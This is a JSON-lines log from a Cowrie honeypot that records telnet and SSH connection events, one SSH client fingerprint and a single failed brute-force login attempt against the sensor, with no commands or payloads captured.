{"eventid":"cowrie.session.closed","duration":34.91191744804382,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:08:26.477015Z","src_ip":"188.208.141.113","session":"e72533660d22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":50856,"dst_ip":"10.17.0.5","dst_port":23,"session":"0442ed8ecfe1","protocol":"telnet","message":"New connection: 103.208.219.59:50856 (10.17.0.5:23) [session: 0442ed8ecfe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:08:26.755188Z"}
{"eventid":"cowrie.session.closed","duration":31.808176279067993,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:08:26.793349Z","src_ip":"103.208.219.59","session":"0b1c33243cd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33672,"dst_ip":"10.17.0.5","dst_port":23,"session":"df62b05666c6","protocol":"telnet","message":"New connection: 188.208.141.113:33672 (10.17.0.5:23) [session: df62b05666c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:08:27.779037Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33680,"dst_ip":"10.17.0.5","dst_port":23,"session":"640357d0978e","protocol":"telnet","message":"New connection: 188.208.141.113:33680 (10.17.0.5:23) [session: 640357d0978e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:08:29.850608Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33696,"dst_ip":"10.17.0.5","dst_port":23,"session":"35e61ff56f31","protocol":"telnet","message":"New connection: 188.208.141.113:33696 (10.17.0.5:23) [session: 35e61ff56f31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:08:30.235980Z"}
{"eventid":"cowrie.session.closed","duration":31.436220407485962,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:08:30.790866Z","src_ip":"103.208.219.59","session":"be47153a9bd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":48082,"dst_ip":"10.17.0.5","dst_port":23,"session":"d45b65bf8cdd","protocol":"telnet","message":"New connection: 103.208.219.59:48082 (10.17.0.5:23) [session: d45b65bf8cdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:08:31.598909Z"}
{"eventid":"cowrie.session.closed","duration":8.025556802749634,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:08:35.804500Z","src_ip":"188.208.141.113","session":"df62b05666c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":50454,"dst_ip":"10.17.0.5","dst_port":23,"session":"ecff683ec8d5","protocol":"telnet","message":"New connection: 188.208.141.113:50454 (10.17.0.5:23) [session: ecff683ec8d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:08:36.294491Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":60888,"dst_ip":"10.17.0.5","dst_port":23,"session":"fce745bacaa8","protocol":"telnet","message":"New connection: 103.208.219.59:60888 (10.17.0.5:23) [session: fce745bacaa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:08:38.460124Z"}
{"eventid":"cowrie.session.closed","duration":36.18486213684082,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:08:41.008050Z","src_ip":"188.208.141.113","session":"cd7d344ef9e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.504174709320068,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:08:41.798550Z","src_ip":"188.208.141.113","session":"ecff683ec8d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.543363094329834,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:08:49.350380Z","src_ip":"188.208.141.113","session":"e68896478c8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34718,"dst_ip":"10.17.0.5","dst_port":23,"session":"9dc9fe833357","protocol":"telnet","message":"New connection: 188.208.141.113:34718 (10.17.0.5:23) [session: 9dc9fe833357]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:08:52.355248Z"}
{"eventid":"cowrie.session.closed","duration":30.636197090148926,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:08:57.391249Z","src_ip":"103.208.219.59","session":"0442ed8ecfe1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":46230,"dst_ip":"10.17.0.5","dst_port":23,"session":"e08e5f10899d","protocol":"telnet","message":"New connection: 188.208.141.113:46230 (10.17.0.5:23) [session: e08e5f10899d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:09:05.069326Z"}
{"eventid":"cowrie.session.closed","duration":33.54236555099487,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:09:05.141177Z","src_ip":"103.208.219.59","session":"d45b65bf8cdd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.99566888809204,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:09:07.846209Z","src_ip":"188.208.141.113","session":"640357d0978e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.814316511154175,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:09:09.274317Z","src_ip":"103.208.219.59","session":"fce745bacaa8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":59098,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7558ff8c333","protocol":"telnet","message":"New connection: 188.208.141.113:59098 (10.17.0.5:23) [session: e7558ff8c333]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:09:12.225316Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":8082,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b5f292bc2d4","protocol":"ssh","message":"New connection: 193.24.211.95:8082 (159.203.135.109:22) [session: 0b5f292bc2d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:09:12.857732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:09:12.862411Z","src_ip":"193.24.211.95","session":"0b5f292bc2d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:09:12.970709Z","src_ip":"193.24.211.95","session":"0b5f292bc2d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"defug","password":"synnet","message":"login attempt [defug/synnet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:09:13.482785Z","src_ip":"193.24.211.95","session":"0b5f292bc2d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:09:14.595078Z","src_ip":"193.24.211.95","session":"0b5f292bc2d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.9247190952301,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:09:14.865642Z","src_ip":"188.208.141.113","session":"405f94fb1087","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.27847743034363,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:09:19.514341Z","src_ip":"188.208.141.113","session":"35e61ff56f31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":38512,"dst_ip":"10.17.0.5","dst_port":23,"session":"295f6271b416","protocol":"telnet","message":"New connection: 188.208.141.113:38512 (10.17.0.5:23) [session: 295f6271b416]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:09:25.271403Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":39598,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e72f1949fe2","protocol":"telnet","message":"New connection: 188.208.141.113:39598 (10.17.0.5:23) [session: 0e72f1949fe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:09:31.516781Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":39614,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff3c27668388","protocol":"telnet","message":"New connection: 188.208.141.113:39614 (10.17.0.5:23) [session: ff3c27668388]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:09:31.988340Z"}
{"eventid":"cowrie.session.closed","duration":41.701175689697266,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:09:34.056326Z","src_ip":"188.208.141.113","session":"9dc9fe833357","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.733540296554565,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:09:46.802737Z","src_ip":"188.208.141.113","session":"e08e5f10899d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.181665897369385,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:09:56.406850Z","src_ip":"188.208.141.113","session":"e7558ff8c333","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40210,"dst_ip":"10.17.0.5","dst_port":23,"session":"003867b1b2cf","protocol":"telnet","message":"New connection: 188.208.141.113:40210 (10.17.0.5:23) [session: 003867b1b2cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:10:03.722972Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40226,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a25962e4f4f","protocol":"telnet","message":"New connection: 188.208.141.113:40226 (10.17.0.5:23) [session: 3a25962e4f4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:10:05.548830Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40242,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c414267bfbc","protocol":"telnet","message":"New connection: 188.208.141.113:40242 (10.17.0.5:23) [session: 1c414267bfbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:10:08.715981Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.36.154.4","src_port":51988,"dst_ip":"10.17.0.5","dst_port":23,"session":"d141b9a460d5","protocol":"telnet","message":"New connection: 200.36.154.4:51988 (10.17.0.5:23) [session: d141b9a460d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:10:12.258758Z"}
{"eventid":"cowrie.session.closed","duration":43.252554178237915,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:10:14.769228Z","src_ip":"188.208.141.113","session":"0e72f1949fe2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.669837713241577,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:10:15.385692Z","src_ip":"188.208.141.113","session":"1c414267bfbc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.24326515197754,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:10:15.514530Z","src_ip":"188.208.141.113","session":"295f6271b416","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.097939014434814,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:10:21.086143Z","src_ip":"188.208.141.113","session":"ff3c27668388","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43828,"dst_ip":"10.17.0.5","dst_port":23,"session":"183e57be0d04","protocol":"telnet","message":"New connection: 188.208.141.113:43828 (10.17.0.5:23) [session: 183e57be0d04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:10:23.285791Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43844,"dst_ip":"10.17.0.5","dst_port":23,"session":"d91f8a4477ce","protocol":"telnet","message":"New connection: 188.208.141.113:43844 (10.17.0.5:23) [session: d91f8a4477ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:10:24.129797Z"}
{"eventid":"cowrie.session.closed","duration":12.524271249771118,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:10:24.782902Z","src_ip":"200.36.154.4","session":"d141b9a460d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":48654,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1c9c5e55693","protocol":"telnet","message":"New connection: 188.208.141.113:48654 (10.17.0.5:23) [session: b1c9c5e55693]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:10:46.316958Z"}
{"eventid":"cowrie.session.closed","duration":43.55618143081665,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:10:47.279005Z","src_ip":"188.208.141.113","session":"003867b1b2cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":48662,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b353ee4c3b0","protocol":"telnet","message":"New connection: 188.208.141.113:48662 (10.17.0.5:23) [session: 8b353ee4c3b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:10:47.357744Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":48672,"dst_ip":"10.17.0.5","dst_port":23,"session":"03c0f4bd274d","protocol":"telnet","message":"New connection: 188.208.141.113:48672 (10.17.0.5:23) [session: 03c0f4bd274d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:10:48.855306Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":48678,"dst_ip":"10.17.0.5","dst_port":23,"session":"240c3bdbf62e","protocol":"telnet","message":"New connection: 188.208.141.113:48678 (10.17.0.5:23) [session: 240c3bdbf62e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:10:50.613201Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":60864,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a1ae47dfcdf","protocol":"telnet","message":"New connection: 188.208.141.113:60864 (10.17.0.5:23) [session: 1a1ae47dfcdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:10:52.809951Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":60872,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5b10cab906d","protocol":"telnet","message":"New connection: 188.208.141.113:60872 (10.17.0.5:23) [session: d5b10cab906d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:10:55.049013Z"}
{"eventid":"cowrie.session.closed","duration":3.31785249710083,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:10:58.366752Z","src_ip":"188.208.141.113","session":"d5b10cab906d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":60878,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6ec5742f2b4","protocol":"telnet","message":"New connection: 188.208.141.113:60878 (10.17.0.5:23) [session: d6ec5742f2b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:10:58.577704Z"}
{"eventid":"cowrie.session.closed","duration":53.87305212020874,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:10:59.421729Z","src_ip":"188.208.141.113","session":"3a25962e4f4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":60892,"dst_ip":"10.17.0.5","dst_port":23,"session":"5003b8d13d22","protocol":"telnet","message":"New connection: 188.208.141.113:60892 (10.17.0.5:23) [session: 5003b8d13d22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:10:59.874652Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53168,"dst_ip":"10.17.0.5","dst_port":23,"session":"c75d2b6ed8ec","protocol":"telnet","message":"New connection: 188.208.141.113:53168 (10.17.0.5:23) [session: c75d2b6ed8ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:11:01.127998Z"}
{"eventid":"cowrie.session.closed","duration":4.019586086273193,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:11:05.147476Z","src_ip":"188.208.141.113","session":"c75d2b6ed8ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.61446571350098,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:11:06.744104Z","src_ip":"188.208.141.113","session":"d91f8a4477ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53170,"dst_ip":"10.17.0.5","dst_port":23,"session":"729fc5704879","protocol":"telnet","message":"New connection: 188.208.141.113:53170 (10.17.0.5:23) [session: 729fc5704879]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:11:09.153726Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":38846,"dst_ip":"10.17.0.5","dst_port":23,"session":"2202c388b42f","protocol":"telnet","message":"New connection: 188.208.141.113:38846 (10.17.0.5:23) [session: 2202c388b42f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:11:11.304369Z"}
{"eventid":"cowrie.session.closed","duration":5.115334987640381,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:11:14.268951Z","src_ip":"188.208.141.113","session":"729fc5704879","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.8036413192749,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:11:15.089301Z","src_ip":"188.208.141.113","session":"183e57be0d04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":38858,"dst_ip":"10.17.0.5","dst_port":23,"session":"6707b4652b30","protocol":"telnet","message":"New connection: 188.208.141.113:38858 (10.17.0.5:23) [session: 6707b4652b30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:11:16.804251Z"}
{"eventid":"cowrie.session.closed","duration":6.485852479934692,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:11:17.790120Z","src_ip":"188.208.141.113","session":"2202c388b42f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47926,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5afc6795545","protocol":"telnet","message":"New connection: 188.208.141.113:47926 (10.17.0.5:23) [session: c5afc6795545]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:11:23.071878Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47934,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c9d91687862","protocol":"telnet","message":"New connection: 188.208.141.113:47934 (10.17.0.5:23) [session: 4c9d91687862]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:11:23.428012Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47942,"dst_ip":"10.17.0.5","dst_port":23,"session":"67f08fa81fab","protocol":"telnet","message":"New connection: 188.208.141.113:47942 (10.17.0.5:23) [session: 67f08fa81fab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:11:24.447179Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47950,"dst_ip":"10.17.0.5","dst_port":23,"session":"d53544a8273a","protocol":"telnet","message":"New connection: 188.208.141.113:47950 (10.17.0.5:23) [session: d53544a8273a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:11:28.135666Z"}
{"eventid":"cowrie.session.closed","duration":39.41638684272766,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:11:28.271594Z","src_ip":"188.208.141.113","session":"03c0f4bd274d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47964,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fa02ffe1e16","protocol":"telnet","message":"New connection: 188.208.141.113:47964 (10.17.0.5:23) [session: 8fa02ffe1e16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:11:28.450453Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47970,"dst_ip":"10.17.0.5","dst_port":23,"session":"13220a3f01d6","protocol":"telnet","message":"New connection: 188.208.141.113:47970 (10.17.0.5:23) [session: 13220a3f01d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:11:28.649993Z"}
{"eventid":"cowrie.session.closed","duration":43.46866488456726,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:11:29.785504Z","src_ip":"188.208.141.113","session":"b1c9c5e55693","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.743783950805664,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:11:32.393668Z","src_ip":"188.208.141.113","session":"13220a3f01d6","protocol":"telnet"}
